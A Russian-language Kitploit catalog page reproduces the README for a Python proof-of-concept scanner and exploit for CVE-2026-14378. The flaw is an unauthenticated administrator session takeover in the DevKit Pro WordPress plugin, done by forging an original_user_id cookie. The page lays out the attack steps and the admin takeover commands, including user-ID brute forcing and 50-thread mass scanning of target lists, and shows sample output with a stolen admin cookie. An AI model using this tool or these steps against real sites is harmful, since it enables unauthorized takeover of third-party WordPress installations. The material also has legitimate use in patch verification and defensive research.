Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-14378 — Python PoC-сканер и вспомогательный эксплойт для CVE-2026-14378 — захват административной сессии без аутентификации в плагине DevKit Pro для WordPress через подделку cookie original_user_id. | Kitploit
Инструменты/GitHubGitHub/murrez/cve-2026-14378
Оборонительные ИнструментыРазведкаСканеры уязвимостейАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийСбор информацииВеб-безопасностьТестирование на ПроникновениеАутентификация
GitHub
1 день назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
murrez/cve-2026-14378

CVE-2026-14378

Python PoC-сканер и вспомогательный эксплойт для CVE-2026-14378 — захват административной сессии без аутентификации в плагине DevKit Pro для WordPress через подделку cookie original_user_id.

Репозиторий
Поделиться

CVE-2026-14378 — обход аутентификации в DevKit Pro PoC

Сканер-доказательство концепции и вспомогательный эксплойт для CVE-2026-14378: неаутентифицированный захват сессии администратора в плагине WordPress DevKit Pro (dplugins) через некорректный поток «возврата» при переключении пользователя.

Правовая информация: Используйте только в системах, которыми вы владеете или на которые у вас есть явное письменное разрешение на тестирование. Несанкционированный доступ незаконен. Этот репозиторий предназначен для защитных исследований, верификации и проверки исправлений.


Описание репозитория GitHub (для копирования)

PoC для CVE-2026-14378: DevKit Pro ≤2.3.0 захват администратора до аутентификации через поддельную cookie original_user_id + nonce revert_switch в wp_footer. check/admin + массовое сканирование.

Предлагаемые темы: cve-2026-14378, wordpress, wordpress-exploit, devkit-pro, dplugins, authentication-bypass, poc, security-research


Уязвимость кратко

CVECVE-2026-14378
ПродуктDevKit Pro (вендор: dplugins)
ТипОбход аутентификации → полная сессия администратора (CWE-287)
ЗатронутыВсе версии ≤ 2.3.0
Исправлено3.0.0+ (changelog)
CVSS 3.19.8 Критический — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CNAWordfence

Связанный advisory (тот же продукт, другая уязвимость)

CVEПроблемаАутентификация
CVE-2026-14357Установка произвольного ZIP-архива темы через DPDEV_install_themesSubscriber+
CVE-2026-14378Захват сессии через возврат при переключении пользователяНет

Этот PoC нацелен только на 14378.


Первопричина (техническая)

Users Manager в DevKit Pro может выдавать себя за пользователей для тестирования. Когда администратор переключается на другую учётную запись, плагин сохраняет предыдущую личность в клиентской cookie:

  • original_user_id — ID пользователя учётной записи до переключения

Когда эта cookie присутствует, плагин отображает элемент «switch back» в wp_footer на фронтенде, включая WordPress nonce, привязанный к действию возврата.

Обработчик revert_switch (AJAX) вызывает verify_nonce_and_capability(), который некорректно проверяет manage_options для пользователя, указанного в original_user_id, вместо использования current_user_can() для фактического запрашивающего (который может быть полностью неаутентифицирован).

Атакующий может:

  1. Установить Cookie: original_user_id=<administrator_user_id> (обычно 1).
  2. Запросить любую публичную страницу и извлечь из футера форму возврата / nonce.
  3. Отправить POST на wp-admin/admin-ajax.php с action=revert_switch (или специфичным для плагина псевдонимом) и утёкшим nonce.
  4. Вызвать wp_set_auth_cookie() для поддельного ID пользователя → аутентифицированная сессия администратора.

Контекст официальной функции: Users Manager — switch back.


Схема атаки

sequenceDiagram
    participant A as Атакующий
    participant W as WordPress (фронтенд)
    participant P as DevKit Pro
    participant X as admin-ajax.php

    A->>W: GET / (Cookie: original_user_id=1)
    W->>P: хук wp_footer
    P-->>W: HTML switch-back + nonce
    W-->>A: тело страницы содержит nonce
    A->>X: POST action=revert_switch + nonce
    Note over P,X: проверка прав для пользователя 1, а не для атакующего
    X-->>A: Set-Cookie wordpress_logged_in_*
    A->>W: GET /wp-admin/
    W-->>A: панель администратора

Когда проверка проходит, а когда нет

Команда check намеренно строгая: она сообщает уязвимо только если nonce switch-back появляется после подделки original_user_id.

НаблюдениеВероятное значение
VULNERABLE — switch-back material leakedПуть эксплойта, вероятно, работает; подтвердите в лаборатории перед admin.
not vulnerable (check): no switch-back nonce…Исправленный DevKit (≥ 3.0.0), плагин не установлен, Users Manager отключён (по умолчанию выключен), нестандартный путь плагина, кэш/CDN удаляет футер, или неверный сайт.
DevKit Pro readme not confirmedНет публичного отпечатка readme.txt; плагин может всё ещё присутствовать, но быть скрытым — оракул остаётся решающим тестом.
DevKit Pro <= 2.3.0 suspected + всё ещё нет nonceУязвимая версия может быть установлена, но функция переключения не включена или футер не отображается на тестируемых URL.

Примечание: HTTP 200 на /wp-content/plugins/.../readme.txt, возвращающий полную HTML-страницу, — это распространённый мягкий 404 WordPress. Этот PoC проверяет содержимое readme (заголовок Plugin Name:), а не только код состояния.


Требования

  • Python 3.9+
  • requests
pip install requests

Опционально: requirements.txt содержит закреплённый минимум:

requests>=2.28.0

Установка

git clone https://github.com/YOUR_USER/cve-2026-14378-poc.git
cd cve-2026-14378-poc
pip install -r requirements.txt   # или: pip install requests

Использование

Одна цель — только обнаружение (безопасно)

Не выполняет захват; только тестирует оракул nonce в футере.

python poc.py check https://target.example/
python poc.py check https://target.example/ --user-id 2
python poc.py check https://target.example/ --timeout 40

Одна цель — захват сессии

Пытается выполнить полный revert_switch и проверяет доступ к /wp-admin/.

python poc.py admin https://target.example/
python poc.py admin https://target.example/ --user-id 1 --brute 5
python poc.py admin https://target.example/ --log successes.txt
ФлагОписание
--user-idID пользователя администратора (или целевого), подделываемый в original_user_id (по умолчанию: 1)
--bruteПеребирать ID 1..N, когда первый ID не срабатывает
--timeoutТаймаут HTTP в секундах (по умолчанию: 25)
--logДобавлять успешные URL admin в файл (по умолчанию: logs.txt)

Массовое сканирование (файл списка)

Один URL на строку; комментарии # и дополнительные столбцы после пробела игнорируются.

# Только обнаружение (рекомендуемый первый проход)
python poc.py targets.txt

# Попытки эксплойта (только авторизованные цели)
python poc.py targets.txt admin

Если файл не передан в качестве первого аргумента, скрипт запрашивает путь к списку (то же поведение, что и у устаревших массовых сканеров).

Массовый режим использует пул потоков (50 воркеров). Настройте в poc.py, если столкнётесь с ограничениями скорости.

Пример файла списка

# FOFA / ручной импорт
https://staging.example.com
example.org
192.0.2.10|wordpress|1.2.3   # используется только первый токен

Пример вывода

Уязвимо (check):

[*] https://vulnerable.example
[+] DevKit Pro <= 2.3.0 suspected (stable tag 2.3.0)
[+] VULNERABLE — switch-back material leaked (action=revert_switch, nonce=a1b2c3d4…)

Не уязвимо (типичное массовое сканирование):

[*] https://patched.example
[!] DevKit Pro readme not confirmed (hidden path, WAF, or plugin absent)
[-] not vulnerable (check): no switch-back nonce in wp_footer with forged original_user_id cookie — patched DevKit, Users Manager off, or wrong target

Успешный admin:

[*] https://lab.local
[+] https://lab.local -> administrator session as user_id=1
[+] cookie: wordpress_logged_in_…=…

Примечания по реализации

Скачать инструмент